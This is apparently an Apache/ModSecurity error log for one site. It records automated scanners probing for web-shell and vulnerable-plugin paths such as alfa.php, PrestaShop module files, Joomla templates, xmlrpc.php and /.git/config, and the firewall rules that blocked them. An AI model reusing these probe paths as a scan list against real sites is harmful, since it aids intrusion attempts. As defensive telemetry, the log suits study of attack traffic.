[Sat May 23 08:01:44.426168 2026] [:error] [pid 30941:tid 30984] [client 173.239.216.150:52333] [client 173.239.216.150] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/templates/Beez5/error.php"] [unique_id "ahDuaHTIgjSDhiZmvlU02gAAAEg"]
[Sat May 23 08:01:55.077199 2026] [:error] [pid 30940:tid 30952] [client 173.239.216.150:53157] [client 173.239.216.150] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/templates/isis/index.php"] [unique_id "ahDuc5qUP2XZmzp7RDqMLwAAAAM"]
[Sat May 23 08:02:03.233570 2026] [:error] [pid 30942:tid 31024] [client 173.239.216.150:57667] [client 173.239.216.150] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/themes/classic/x.php"] [unique_id "ahDue9Uosz64YFiBlG3UKQAAAJU"]
[Sat May 23 08:02:03.492946 2026] [:error] [pid 25876:tid 25895] [client 173.239.216.150:60257] [client 173.239.216.150] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/local/index.php"] [unique_id "ahDuewSpWUCKPezIBJCihgAAARE"]
[Sat May 23 08:02:03.939892 2026] [:error] [pid 30942:tid 31027] [client 173.239.216.150:58087] [client 173.239.216.150] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/templates/Binv/index.php"] [unique_id "ahDue9Uosz64YFiBlG3ULQAAAJg"]
[Sat May 23 08:02:06.821146 2026] [:error] [pid 25876:tid 25884] [client 173.239.216.150:31657] [client 173.239.216.150] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/templates/Beez2/error.php"] [unique_id "ahDufgSpWUCKPezIBJCihwAAAQY"]
[Sat May 23 08:02:11.934348 2026] [:error] [pid 30942:tid 31022] [client 173.239.216.150:50835] [client 173.239.216.150] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/modules/sendinblue/mini.php"] [unique_id "ahDug9Uosz64YFiBlG3UOAAAAJM"]
[Sat May 23 08:02:25.773624 2026] [:error] [pid 25876:tid 25893] [client 173.239.216.150:37845] [client 173.239.216.150] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/vendor/composer/about.php"] [unique_id "ahDukQSpWUCKPezIBJCiowAAAQ8"]
[Sat May 23 08:02:27.022073 2026] [:error] [pid 31039:tid 31062] [client 173.239.216.150:52061] [client 173.239.216.150] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/admin/resources/dummy/log.php"] [unique_id "ahDuk6IYDYo8WvA5zLJ-wQAAANU"]
[Sat May 23 08:02:29.770735 2026] [:error] [pid 30942:tid 31015] [client 173.239.216.150:33075] [client 173.239.216.150] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/themes/classic/modules/referralprogram/mails/es/micro.php"] [unique_id "ahDuldUosz64YFiBlG3UQAAAAIw"]
[Sat May 23 08:02:30.090084 2026] [:error] [pid 25876:tid 25889] [client 173.239.216.150:42155] [client 173.239.216.150] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/modules/mod_rebug/library/index2.php"] [unique_id "ahDulgSpWUCKPezIBJCiqQAAAQs"]
[Sat May 23 08:02:30.578578 2026] [:error] [pid 25876:tid 25888] [client 173.239.216.150:41287] [client 173.239.216.150] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/modules/ps_mainmenu/upgrade/upgrade-2.3.2.php"] [unique_id "ahDulgSpWUCKPezIBJCiqwAAAQo"]
[Sat May 23 08:02:31.385695 2026] [:error] [pid 31039:tid 31041] [client 173.239.216.150:52331] [client 173.239.216.150] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/modules/statsforecast/translations/fe.php"] [unique_id "ahDul6IYDYo8WvA5zLJ-xQAAAMA"]
[Sat May 23 08:02:32.195990 2026] [:error] [pid 25876:tid 25892] [client 173.239.216.150:50209] [client 173.239.216.150] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/modules/ets_htmlbox/loads.php"] [unique_id "ahDumASpWUCKPezIBJCisQAAAQ4"]
[Sat May 23 08:02:33.015376 2026] [:error] [pid 31039:tid 31060] [client 173.239.216.150:37605] [client 173.239.216.150] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/modules/myprestaloyalty/index.php"] [unique_id "ahDumaIYDYo8WvA5zLJ-zQAAANM"]
[Sat May 23 08:02:33.820341 2026] [:error] [pid 25876:tid 25887] [client 173.239.216.150:25779] [client 173.239.216.150] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/modules/autoupgrade/gabut/ultra.php"] [unique_id "ahDumQSpWUCKPezIBJCiswAAAQk"]
[Sat May 23 08:02:34.643316 2026] [:error] [pid 25876:tid 25885] [client 173.239.216.150:35871] [client 173.239.216.150] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/modules/blockcounterz/views/templates/hook/htaccess.php"] [unique_id "ahDumgSpWUCKPezIBJCitgAAAQc"]
[Sat May 23 08:02:35.462030 2026] [:error] [pid 25876:tid 25878] [client 173.239.216.150:61553] [client 173.239.216.150] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/modules/leobootstrapmenu/inc_fille_css.php"] [unique_id "ahDumwSpWUCKPezIBJCiuwAAAQA"]
[Sat May 23 08:02:35.482009 2026] [:error] [pid 30941:tid 30993] [client 173.239.216.150:52869] [client 173.239.216.150] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/templates/madeyourweb/index.php"] [unique_id "ahDum3TIgjSDhiZmvlU09QAAAFE"]
[Sat May 23 08:02:36.264052 2026] [:error] [pid 30941:tid 30989] [client 173.239.216.150:62411] [client 173.239.216.150] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/modules/myprestaloyalty/controllers/front/controllers/modules/agenbypass.php"] [unique_id "ahDunHTIgjSDhiZmvlU09wAAAE0"]
[Sat May 23 08:02:37.074108 2026] [:error] [pid 25876:tid 25894] [client 173.239.216.150:43071] [client 173.239.216.150] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/modules/modules_function.php"] [unique_id "ahDunQSpWUCKPezIBJCiwgAAARA"]
[Sat May 23 08:02:37.924685 2026] [:error] [pid 30940:tid 30968] [client 173.239.216.150:40469] [client 173.239.216.150] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/themes/kidshop/templates/layouts/hehe403.php"] [unique_id "ahDunZqUP2XZmzp7RDqMMQAAABM"]
[Sat May 23 08:02:38.738963 2026] [:error] [pid 31039:tid 31049] [client 173.239.216.150:52871] [client 173.239.216.150] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/themes/thecosmetic/tmp.php"] [unique_id "ahDunqIYDYo8WvA5zLJ-1AAAAMg"]
[Sat May 23 08:02:39.548160 2026] [:error] [pid 30942:tid 31022] [client 173.239.216.150:27807] [client 173.239.216.150] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/modules/prestaheroconnect/cronjob.php"] [unique_id "ahDun9Uosz64YFiBlG3URAAAAJM"]
[Sat May 23 08:02:40.374910 2026] [:error] [pid 30941:tid 30998] [client 173.239.216.150:59381] [client 173.239.216.150] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/modules/medultimatejs/blue.php"] [unique_id "ahDuoHTIgjSDhiZmvlU0-AAAAFY"]
[Sat May 23 08:02:41.182755 2026] [:error] [pid 30940:tid 30965] [client 173.239.216.150:48341] [client 173.239.216.150] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/modules/onlinechat2028/az.php"] [unique_id "ahDuoZqUP2XZmzp7RDqMNAAAABA"]
[Sat May 23 08:02:41.984375 2026] [:error] [pid 30942:tid 31027] [client 173.239.216.150:49429] [client 173.239.216.150] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/modules/sendinblue/numberv2.php"] [unique_id "ahDuodUosz64YFiBlG3USgAAAJg"]
[Sat May 23 08:02:42.788043 2026] [:error] [pid 31039:tid 31047] [client 173.239.216.150:56175] [client 173.239.216.150] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/themes/freshfood/index.php"] [unique_id "ahDuoqIYDYo8WvA5zLJ-2QAAAMY"]
[Sat May 23 08:02:43.597451 2026] [:error] [pid 31039:tid 31050] [client 173.239.216.150:52131] [client 173.239.216.150] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/themes/probusiness/index.php"] [unique_id "ahDuo6IYDYo8WvA5zLJ-2gAAAMk"]
[Sat May 23 08:02:44.404581 2026] [:error] [pid 30940:tid 30967] [client 173.239.216.150:54893] [client 173.239.216.150] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/themes/sikpo/1.php"] [unique_id "ahDupJqUP2XZmzp7RDqMOAAAABI"]
[Sat May 23 08:02:45.248380 2026] [:error] [pid 30942:tid 31003] [client 173.239.216.150:20887] [client 173.239.216.150] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/modules/dashtrends/views/templates/ad.php"] [unique_id "ahDupdUosz64YFiBlG3UUAAAAIA"]
[Sat May 23 08:02:46.060273 2026] [:error] [pid 30941:tid 30994] [client 173.239.216.150:39375] [client 173.239.216.150] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/modules/kbgoogleshopping/controllers/front/ad.php"] [unique_id "ahDupnTIgjSDhiZmvlU0_gAAAFI"]
[Sat May 23 08:02:47.901700 2026] [:error] [pid 30940:tid 30971] [client 173.239.216.150:55857] [client 173.239.216.150] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/modules/medsnowfree/include.php"] [unique_id "ahDup5qUP2XZmzp7RDqMOgAAABY"]
[Sat May 23 08:02:48.751423 2026] [:error] [pid 25876:tid 25897] [client 173.239.216.150:48981] [client 173.239.216.150] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/modules/myprestaloyalty/index.php"] [unique_id "ahDuqASpWUCKPezIBJCizAAAARM"]
[Sat May 23 08:02:49.586955 2026] [:error] [pid 25876:tid 25894] [client 173.239.216.150:25621] [client 173.239.216.150] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/jsonq.php"] [unique_id "ahDuqQSpWUCKPezIBJCi0AAAARA"]
[Sat May 23 08:02:53.667174 2026] [:error] [pid 25876:tid 25896] [client 173.239.216.150:64303] [client 173.239.216.150] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/libraries/phpmailer/updates.php"] [unique_id "ahDurQSpWUCKPezIBJCi4AAAARI"]
[Sat May 23 08:32:41.853562 2026] [:error] [pid 30940:tid 30951] [client 45.154.98.214:50325] [client 45.154.98.214] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 45.154.98.214, incrementing ddos counter"] [hostname "windfarmcoolants.com.au"] [uri "/xmlrpc.php"] [unique_id "ahD1qZqUP2XZmzp7RDqRJAAAAAI"]
[Sat May 23 08:32:41.856955 2026] [:error] [pid 30940:tid 30951] [client 45.154.98.214:50325] File does not exist: /usr/local/apache/htdocs/suspended-page/xmlrpc.php
[Sat May 23 08:32:44.673660 2026] [:error] [pid 30940:tid 30960] [client 45.154.98.214:50325] [client 45.154.98.214] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp1/wp-includes/wlwmanifest.xml"] [unique_id "ahD1rJqUP2XZmzp7RDqROwAAAAs"]
[Sat May 23 08:32:45.175010 2026] [:error] [pid 25876:tid 25881] [client 45.154.98.214:64330] [client 45.154.98.214] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/test/wp-includes/wlwmanifest.xml"] [unique_id "ahD1rQSpWUCKPezIBJCtPAAAAQM"]
[Sat May 23 08:32:45.685382 2026] [:error] [pid 31039:tid 31063] [client 45.154.98.214:49399] [client 45.154.98.214] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/media/wp-includes/wlwmanifest.xml"] [unique_id "ahD1raIYDYo8WvA5zLKGxAAAANY"]
[Sat May 23 08:32:46.194015 2026] [:error] [pid 30941:tid 30984] [client 45.154.98.214:51121] [client 45.154.98.214] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp2/wp-includes/wlwmanifest.xml"] [unique_id "ahD1rnTIgjSDhiZmvlU5rwAAAEg"]
[Sat May 23 08:32:46.696193 2026] [:error] [pid 31039:tid 31047] [client 45.154.98.214:52536] [client 45.154.98.214] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/site/wp-includes/wlwmanifest.xml"] [unique_id "ahD1rqIYDYo8WvA5zLKGyQAAAMY"]
[Sat May 23 08:32:47.196697 2026] [:error] [pid 30941:tid 30994] [client 45.154.98.214:54064] [client 45.154.98.214] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/cms/wp-includes/wlwmanifest.xml"] [unique_id "ahD1r3TIgjSDhiZmvlU5sQAAAFI"]
[Sat May 23 08:32:47.697673 2026] [:error] [pid 31039:tid 31054] [client 45.154.98.214:55991] [client 45.154.98.214] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/sito/wp-includes/wlwmanifest.xml"] [unique_id "ahD1r6IYDYo8WvA5zLKGzgAAAM0"]
[Sat May 23 14:26:32.632476 2026] [:error] [pid 25876:tid 25881] [client 4.194.20.203:1481] File does not exist: /usr/local/apache/htdocs/suspended-page/inputs.php
[Sat May 23 14:26:32.723015 2026] [:error] [pid 25876:tid 25885] [client 4.194.20.203:1481] File does not exist: /usr/local/apache/htdocs/suspended-page/admin.php
[Sat May 23 14:26:32.813926 2026] [:error] [pid 25876:tid 25897] [client 4.194.20.203:1481] File does not exist: /usr/local/apache/htdocs/suspended-page/goods.php
[Sat May 23 14:26:32.904948 2026] [:error] [pid 25876:tid 25892] [client 4.194.20.203:1481] File does not exist: /usr/local/apache/htdocs/suspended-page/file.php
[Sat May 23 14:26:32.996402 2026] [:error] [pid 25876:tid 25902] [client 4.194.20.203:1481] File does not exist: /usr/local/apache/htdocs/suspended-page/adminfuns.php
[Sat May 23 14:26:33.087998 2026] [:error] [pid 25876:tid 25888] [client 4.194.20.203:1481] File does not exist: /usr/local/apache/htdocs/suspended-page/404.php
[Sat May 23 14:26:33.272498 2026] [:error] [pid 25876:tid 25900] [client 4.194.20.203:1481] File does not exist: /usr/local/apache/htdocs/suspended-page/about.php
[Sat May 23 14:26:33.364463 2026] [:error] [pid 25876:tid 25887] [client 4.194.20.203:1481] File does not exist: /usr/local/apache/htdocs/suspended-page/term.php
[Sat May 23 14:26:33.455863 2026] [:error] [pid 25876:tid 25891] [client 4.194.20.203:1481] File does not exist: /usr/local/apache/htdocs/suspended-page/ioxi-o.php
[Sat May 23 14:26:33.551680 2026] [:error] [pid 25876:tid 25899] [client 4.194.20.203:1481] File does not exist: /usr/local/apache/htdocs/suspended-page/1.php
[Sat May 23 14:26:33.640067 2026] [:error] [pid 25876:tid 25893] [client 4.194.20.203:1481] [client 4.194.20.203] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/alfa.php"] [unique_id "ahFImQSpWUCKPezIBJA_YgAAAQ8"]
[Sat May 23 14:26:33.993852 2026] [:error] [pid 30941:tid 30993] [client 4.194.20.203:1473] [client 4.194.20.203] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/alfa.php"] [unique_id "ahFImXTIgjSDhiZmvlV_owAAAFE"]
[Sat May 23 14:26:34.346075 2026] [:error] [pid 30942:tid 31024] [client 4.194.20.203:8746] [client 4.194.20.203] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/alfa.php"] [unique_id "ahFImtUosz64YFiBlG0vgQAAAJU"]
[Sat May 23 14:26:34.699040 2026] [:error] [pid 30941:tid 30984] [client 4.194.20.203:7988] [client 4.194.20.203] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/alfa.php"] [unique_id "ahFImnTIgjSDhiZmvlV_pQAAAEg"]
[Sat May 23 21:38:07.937036 2026] [:error] [pid 44296:tid 44308] [client 146.200.96.220:64318] [client 146.200.96.220] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 146.200.96.220, incrementing ddos counter"] [hostname "windfarmcoolants.com.au"] [uri "/xmlrpc.php"] [unique_id "ahGtv5drUdFI6ijvMkmVfwAAAUo"]
[Sat May 23 21:38:07.941750 2026] [:error] [pid 44296:tid 44308] [client 146.200.96.220:64318] File does not exist: /usr/local/apache/htdocs/suspended-page/xmlrpc.php
[Sun May 24 11:05:49.668329 2026] [:error] [pid 23497:tid 23516] [client 18.144.169.7:60196] [client 18.144.169.7] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.windfarmcoolants.com.au"] [uri "/.git/config"] [unique_id "ahJrDSPlV47QcYwd2v9QsgAAAVA"]
